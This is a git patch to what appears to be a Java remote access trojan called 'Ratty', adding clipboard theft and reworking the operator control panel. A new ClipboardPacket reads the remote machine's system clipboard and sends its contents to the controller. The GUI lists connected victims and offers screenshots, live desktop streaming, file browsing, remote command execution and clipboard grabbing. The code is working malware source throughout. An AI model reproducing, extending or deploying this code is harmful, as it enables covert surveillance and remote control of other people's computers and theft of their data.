From ea272fab692ca60678150adc5f41181ee5f74e4f Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sat, 30 Jan 2016 19:45:47 +0100 Subject: [PATCH] Major changes Added ClipboardPacket class Fixes and cleanups --- Ratty/res/icons.png | Bin 414 -> 0 bytes Ratty/res/menu_icons.png | Bin 0 -> 601 bytes Ratty/src/de/sogomn/rat/ActiveClient.java | 1 + .../de/sogomn/rat/packet/ClipboardPacket.java | 62 +++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../sogomn/rat/packet/ScreenshotPacket.java | 9 +- .../de/sogomn/rat/server/gui/RattyGui.java | 126 +++++++++++------- .../rat/server/gui/RattyGuiController.java | 49 ++++--- 8 files changed, 173 insertions(+), 77 deletions(-) delete mode 100644 Ratty/res/icons.png create mode 100644 Ratty/res/menu_icons.png create mode 100644 Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java diff --git a/Ratty/res/icons.png b/Ratty/res/icons.png deleted file mode 100644 index 22bb4f59a749ad16b5d87f9fd234549044f7819b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 414 zcmV;P0b%}$P)cVuhkqieyZj*pAz#tz;=}`t!a# zr*T_VYuK8)?lr-^@2JmrjZfF9A|?*@r662?eSC`I55QBwHr%I<=Y|B}aD5LE1kgI* z;_~QKAqDUdQ3trA9s+R3Qlk5IH-r{|Orcx{{4p=|)og~C3_vpClml2i1(B0Nqd7o{ zk3pC_5Oaew2YlSl`=5Yw1g2S$4p0DCycqyo2`Pc8cR1I9SPGd`0uX{z0$_mCeai|A zz$q`-HIYO-1mKE?5TgJ{#OK&gJuA0>Tz5%bJV0*wY>_(ZG*6YtuulUY8w}U>D|Tv- z$nzv3@Wr83S_?oyB+sz`zzd-C9+W^1V8#8)k~)B|jm@W!P?mUW2Xelrv0#>XD+erp z2#Ca&SbV+lkSV~4h&qrO^`HZPgzU8h>F#@B!4-gpP^kmv zylvZ_=<4LkA}HYHSY7~S#L*n^NILSEh>{RebHL$!eh`GZfK>cba=_u~X0ZX7BO7^A zqXSUD<=K8Oz|Rpe0dOWn2_|YdML;TqL^=T|g3?w+6!_|ltUg0xPCs$ zf|`IF@+J0T|5e&R{@+ca{T_5ZKq<#LF`qRU#dR2I3bEEBL>~JdhOK$PkTO#~+>`q8 z3kW&D;pJNL!`_G5HD7xFnr~r%{fhq)G?+2h8qX{8Dbo}!wlbC{7M_EM~rM&E`b|RzH n|EgPw(wTU$X0D0_1#|la*u3F-RU^Z&00000NkvXXu0mjfc)kK& literal 0 HcmV?d00001 diff --git a/Ratty/src/de/sogomn/rat/ActiveClient.java b/Ratty/src/de/sogomn/rat/ActiveClient.java index d9460c9..17432ef 100644 --- a/Ratty/src/de/sogomn/rat/ActiveClient.java +++ b/Ratty/src/de/sogomn/rat/ActiveClient.java @@ -101,6 +101,7 @@ public final class ActiveClient extends TCPConnection { } } }; + final Runnable readingRunnable = () -> { while (isOpen()) { final IPacket packet = readPacket(); diff --git a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java new file mode 100644 index 0000000..5b2471e --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java @@ -0,0 +1,62 @@ +package de.sogomn.rat.packet; + +import java.awt.HeadlessException; +import java.awt.Toolkit; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.UnsupportedFlavorException; +import java.io.IOException; + +import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.server.gui.RattyGui; + +public final class ClipboardPacket extends AbstractPingPongPacket { + + private String clipboardContent; + + public ClipboardPacket() { + type = REQUEST; + } + + @Override + protected void sendRequest(final ActiveClient client) { + //... + } + + @Override + protected void sendData(final ActiveClient client) { + client.writeUTF(clipboardContent); + } + + @Override + protected void receiveRequest(final ActiveClient client) { + //... + } + + @Override + protected void receiveData(final ActiveClient client) { + clipboardContent = client.readUTF(); + } + + @Override + protected void executeRequest(final ActiveClient client) { + type = DATA; + + try { + final Object clipboardObject = Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor); + + if (clipboardObject != null) { + clipboardContent = (String)clipboardObject; + } + } catch (final HeadlessException | UnsupportedFlavorException | IOException ex) { + clipboardContent = ""; + } + + client.addPacket(this); + } + + @Override + protected void executeData(final ActiveClient client) { + RattyGui.showMessage(clipboardContent); + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 041e940..b9e0d57 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -9,7 +9,8 @@ public enum PacketType { FREE(4, FreePacket.class), INFORMATION(5, InformationPacket.class), COMMAND(6, CommandPacket.class), - DESKTOP(7, DesktopStreamPacket.class); + DESKTOP(7, DesktopStreamPacket.class), + CLIPBOARD(8, ClipboardPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java index 6b69220..2ad2b16 100644 --- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -20,16 +20,9 @@ public final class ScreenshotPacket extends AbstractPingPongPacket { private static final int SCREEN_WIDTH = 800; private static final int SCREEN_HEIGHT = 600; - public ScreenshotPacket(final BufferedImage image) { - this.image = image; - - type = DATA; - } - public ScreenshotPacket() { - this(NO_IMAGE); - type = REQUEST; + image = NO_IMAGE; } @Override diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 7392ff2..fe0b3a5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -1,5 +1,6 @@ package de.sogomn.rat.server.gui; +import java.awt.Color; import java.awt.Graphics2D; import java.awt.Point; import java.awt.event.ActionEvent; @@ -7,6 +8,7 @@ import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; +import javax.swing.Icon; import javax.swing.ImageIcon; import javax.swing.JDialog; import javax.swing.JFrame; @@ -30,6 +32,7 @@ public final class RattyGui { private JTable table; private DefaultTableModel tableModel; private long lastIdClicked; + private JScrollPane scrollPane; private JPopupMenu menu; @@ -43,26 +46,33 @@ public final class RattyGui { "Name", "IP address", "OS", - "Version" + "Version", + "Streaming" }; + private static final int SCREEN_WIDTH = 800; private static final int SCREEN_HEIGHT = 600; - private static final BufferedImage ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); - private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/icons.png", 16, 16).getSprites(); + + private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); + private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites(); public static final String POPUP = "Open popup"; public static final String SCREENSHOT = "Take screenshot"; - public static final String DESKTOP = "View desktop"; + public static final String DESKTOP = "Start desktop stream"; public static final String DESKTOP_STOP = "Stop desktop stream"; public static final String FILES = "Browse files"; public static final String COMMAND = "Execute command"; + public static final String CLIPBOARD = "Get clipboard content"; public static final String FREE = "Free client"; - public static final String[] ACTION_COMMANDS = { + + public static final String[] COMMANDS = { POPUP, SCREENSHOT, DESKTOP, + DESKTOP_STOP, FILES, COMMAND, + CLIPBOARD, FREE }; @@ -70,18 +80,14 @@ public final class RattyGui { frame = new JFrame(); table = new JTable(); tableModel = (DefaultTableModel)table.getModel(); + scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); menu = new JPopupMenu(); - for (int i = 0; i < ACTION_COMMANDS.length && i < MENU_ICONS.length; i++) { - final String command = ACTION_COMMANDS[i]; - final JMenuItem item = new JMenuItem(command); + for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { + final String command = COMMANDS[i]; final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); - item.setActionCommand(command); - item.addActionListener(this::menuItemClicked); - item.setIcon(icon); - - menu.add(item); + addMenuItem(command, icon); } final MouseAdapter mouseAdapter = new MouseAdapter() { @@ -94,24 +100,44 @@ public final class RattyGui { } }; + scrollPane.setBorder(null); tableModel.setColumnIdentifiers(HEADERS); table.setEnabled(false); table.setComponentPopupMenu(menu); table.addMouseListener(mouseAdapter); - final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); - - scrollPane.setBorder(null); - frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setContentPane(scrollPane); frame.pack(); frame.setLocationByPlatform(true); - frame.setIconImage(ICON); + frame.setIconImage(GUI_ICON); frame.setVisible(true); frame.requestFocus(); } + private Screen createScreen(final int width, final int height) { + final Screen screen = new Screen(width, height); + + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); + screen.setBackgroundColor(Color.BLACK); + screen.addListener(g -> { + g.drawImage(image, 0, 0, null); + }); + + return screen; + } + + private void addMenuItem(final String name, final Icon icon) { + final JMenuItem item = new JMenuItem(name); + + item.setActionCommand(name); + item.addActionListener(this::menuItemClicked); + item.setIcon(icon); + + menu.add(item); + } + private void menuItemClicked(final ActionEvent a) { if (controller == null) { return; @@ -131,36 +157,44 @@ public final class RattyGui { g.dispose(); } - private void drawToScreenImage(final IFrame frame) { - drawToScreenImage(frame.image, frame.x, frame.y); - } - - private void openScreen(final int width, final int height) { + public void openScreen(final int width, final int height) { if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { if (screen != null) { screen.close(); } - screen = new Screen(width, height); - - screen.addListener(g -> { - g.drawImage(image, 0, 0, null); - }); - screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); - screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); + screen = createScreen(width, height); } screen.show(); screen.redraw(); } - public void addRow(final long id, final String name, final String address, final String os, final String version) { - final Object[] data = {id, name, address, os, version}; + public void showImage(final BufferedImage image) { + this.image = image; + + final int width = image.getWidth(); + final int height = image.getHeight(); + + openScreen(width, height); + } + + public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { + if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { + image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); + } + + drawToScreenImage(frame.image, frame.x, frame.y); + openScreen(screenWidth, screenHeight); + } + + public void addTableRow(final long id, final String name, final String address, final String os, final String version) { + final Object[] data = {id, name, address, os, version, false}; tableModel.addRow(data); } - public void removeRow(final long id) { + public void removeTableRow(final long id) { final int rows = tableModel.getRowCount(); for (int i = 0; i < rows; i++) { @@ -174,22 +208,16 @@ public final class RattyGui { } } - public void showImage(final BufferedImage image) { - this.image = image; - - final int width = image.getWidth(); - final int height = image.getHeight(); + public void setStreaming(final long id, final boolean state) { + final int rows = tableModel.getRowCount(); - openScreen(width, height); - } - - public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { - if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { - image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); + for (int i = 0; i < rows; i++) { + final long rowId = (Long)tableModel.getValueAt(i, 0); + + if (rowId == id) { + tableModel.setValueAt(state, i, 5); //Column 5 = Streaming + } } - - drawToScreenImage(frame); - openScreen(screenWidth, screenHeight); } public void setController(final IGuiController controller) { @@ -200,6 +228,10 @@ public final class RattyGui { return lastIdClicked; } + public boolean isScreenVisible() { + return screen.isVisible(); + } + public static void showMessage(final String message) { final JOptionPane optionPane = new JOptionPane(message); final JDialog dialog = optionPane.createDialog(null); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 7d9710a..ac7b262 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -5,6 +5,7 @@ import java.util.ArrayList; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; +import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.DesktopStreamPacket; import de.sogomn.rat.packet.FreePacket; @@ -18,8 +19,6 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController { - private boolean streamingDesktop; - private RattyGui gui; private ArrayList clients; @@ -33,7 +32,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve gui.setController(this); } - private ServerClient getClient(final long id) { + private ServerClient getServerClient(final long id) { for (final ServerClient client : clients) { if (client.id == id) { return client; @@ -43,7 +42,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return null; } - private ServerClient getClient(final ActiveClient client) { + private ServerClient getServerClient(final ActiveClient client) { for (final ServerClient serverClient : clients) { if (serverClient.client == client) { return serverClient; @@ -62,6 +61,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return new ScreenshotPacket(); } else if (command == RattyGui.COMMAND) { return CommandPacket.create(); + } else if (command == RattyGui.DESKTOP) { + return new DesktopStreamPacket(true); + } else if (command == RattyGui.CLIPBOARD) { + return new ClipboardPacket(); } return null; @@ -71,25 +74,26 @@ public final class RattyGuiController implements IServerObserver, IClientObserve public void packetReceived(final ActiveClient client, final IPacket packet) { if (packet instanceof InformationPacket) { final InformationPacket information = (InformationPacket)packet; - final long id = getClient(client).id; + final long id = getServerClient(client).id; final String name = information.getName(); final String address = client.getAddress(); final String os = information.getOS(); final String version = information.getVersion(); - gui.addRow(id, name, address, os, version); + gui.addTableRow(id, name, address, os, version); } else if (packet instanceof ScreenshotPacket) { final ScreenshotPacket screenshot = (ScreenshotPacket)packet; final BufferedImage image = screenshot.getImage(); gui.showImage(image); } else if (packet instanceof DesktopStreamPacket) { - final DesktopStreamPacket stream = (DesktopStreamPacket)packet; - final IFrame frame = stream.getFrame(); - final int screenWidth = stream.getScreenWidth(); - final int screenHeight = stream.getScreenHeight(); + final ServerClient serverClient = getServerClient(client); - if (streamingDesktop) { + if (serverClient.streamingDesktop) { + final DesktopStreamPacket stream = (DesktopStreamPacket)packet; + final IFrame frame = stream.getFrame(); + final int screenWidth = stream.getScreenWidth(); + final int screenHeight = stream.getScreenHeight(); final DesktopStreamPacket request = new DesktopStreamPacket(); gui.showFrame(frame, screenWidth, screenHeight); @@ -119,19 +123,20 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public void userInput(final String command) { final long lastIdClicked = gui.getLastIdClicked(); - final ActiveClient client = getClient(lastIdClicked).client; + final ServerClient serverClient = getServerClient(lastIdClicked); + final ActiveClient client = serverClient.client; final IPacket packet = getPacket(command); if (packet != null) { client.addPacket(packet); - } else if (command == RattyGui.DESKTOP) { - final DesktopStreamPacket stream = new DesktopStreamPacket(false); - - streamingDesktop = true; - - client.addPacket(stream); + } + + if (command == RattyGui.DESKTOP) { + serverClient.streamingDesktop = true; + gui.setStreaming(lastIdClicked, true); } else if (command == RattyGui.DESKTOP_STOP) { - streamingDesktop = false; + serverClient.streamingDesktop = false; + gui.setStreaming(lastIdClicked, false); } } @@ -147,17 +152,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } public void removeClient(final ActiveClient client) { - final long id = getClient(client).id; + final long id = getServerClient(client).id; client.setObserver(null); client.close(); clients.remove(client); - gui.removeRow(id); + gui.removeTableRow(id); } private final class ServerClient { + private boolean streamingDesktop; + final long id; final ActiveClient client;